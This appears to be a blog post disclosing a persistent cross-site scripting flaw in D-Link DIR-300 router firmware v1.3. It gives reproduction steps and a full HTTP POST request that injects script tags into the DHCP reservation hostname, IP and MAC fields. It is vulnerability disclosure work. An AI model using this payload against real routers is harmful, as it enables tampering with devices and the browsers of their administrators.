Wednesday, February 6, 2013

D-link DIR-300 Router Persistent Cross-site Scripting

Found one (new) vulnerability in D-link DIR-300 router.

It is posted here: 

http://packetstormsecurity.com/files/author/7832/

# Requirement
1. HTTP(s) Access to router
2. Ability to make configuration changes

# Access vector
Remote

# Impact
Persistent XSS / Script execution
 

# Vulnerable platform
D-Link DIR-300 Firmware v1.3
 

# Steps to reproduce
 

1. Log in to D-link router.

2. Setup -> LAN Setup -> DHCP Client List

In here, we can add information of DHCP clients (DHCP reservation) - hostname, IP address, and MAC. These 3 fields do not validate input.
 

Scripts can be submitted as input values and these then get stored as part of configuration.
 

Once the page is re-loaded / accessed, these values will get populated from the configuration and the JS gets executed.
 

# HTTP Request:
Host=192.168.0.1
User-Agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:18.0)
Gecko/20100101 Firefox/18.0
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language=en-us,en;q=0.7,zh-cn;q=0.3

Accept-Encoding=gzip, deflate
DNT=1
Content-Type=application/x-www-form-urlencoded; charset=UTF-8
Referer=http://192.168.0.1/bsc_lan.php

Content-Length=949
Connection=keep-alive

Pragma=no-cache
Cache-Control=no-cache
POSTDATA =TEMP_NODES=/runtime/post/session_1&data=4&start=1&d_1_0=0&d_1_1=box1<script>alert("XSS_from_computername")</script>&d_1_2=192.168.0.104<script>alert("XSS_from_IP")</script>&d_1_3=38%3A16%3AD1%3A17%3A3A%3A00<script>alert("XSS_from_mac")</script>&d_2_0=&d_2_1=&d_2_2=&d_2_3=&d_3_0=&d_3_1=&d_3_2=&d_3_3=&d_4_0=&d_4_1=&d_4_2=&d_4_3=&d_5_0=&d_5_1=&d_5_2=&d_5_3=&d_6_0=&d_6_1=&d_6_2=&d_6_3=&d_7_0=&d_7_1=&d_7_2=&d_7_3=&d_8_0=&d_8_1=&d_8_2=&d_8_3=&d_9_0=&d_9_1=&d_9_2=&d_9_3=&d_10_0=&d_10_1=&d_10_2=&d_10_3=&d_11_0=&d_11_1=&d_11_2=&d_11_3=&d_12_0=&d_12_1=&d_12_2=&d_12_3=&d_13_0=&d_13_1=&d_13_2=&d_13_3=&d_14_0=&d_14_1=&d_14_2=&d_14_3=&d_15_0=&d_15_1=&d_15_2=&d_15_3=&d_16_0=&d_16_1=&d_16_2=&d_16_3=&d_17_0=&d_17_1=&d_17_2=&d_17_3=&d_18_0=&d_18_1=&d_18_2=&d_18_3=&d_19_0=&d_19_1=&d_19_2=&d_19_3=&d_20_0=&d_20_1=&d_20_2=&d_20_3=&d_21_0=&d_21_1=&d_21_2=&d_21_3=&d_22_0=&d_22_1=&d_22_2=&d_22_3=&d_23_0=&d_23_1=&d_23_2=&d_23_3=&d_24_0=&d_24_1=&d_24_2=&d_24_3=&d_25_0=&d_25_1=&d_25_2=&d_25_3=&end=25
 

# HTTP Response


# Comments

The requirements mentioned in this advisory are just the steps for reproducing this test in a lab.

An attacker may instead utilize other known vulnerabilities such as unauthenticated remote code execution or CSRF to submit malicious input that will eventually trigger XSS when a user accesses the router's web interface. Hence, I don't consider this as 'administratively inflicted' like the packetstorm publisher has noted in description.

Also from a VA perspective, XSS is a distinct security flaw than OS command injection or CSRF or broken authentication. Each of these may have different associated severity based on the environment setup & assets, but nevertheless, all impacting issues should be reported.

+++++
 
Cheers!

No comments:

Post a Comment

Disclaimer

The views, information & opinions expressed in this blog are my own and do not reflect the views of my current or former employers or employees or colleagues.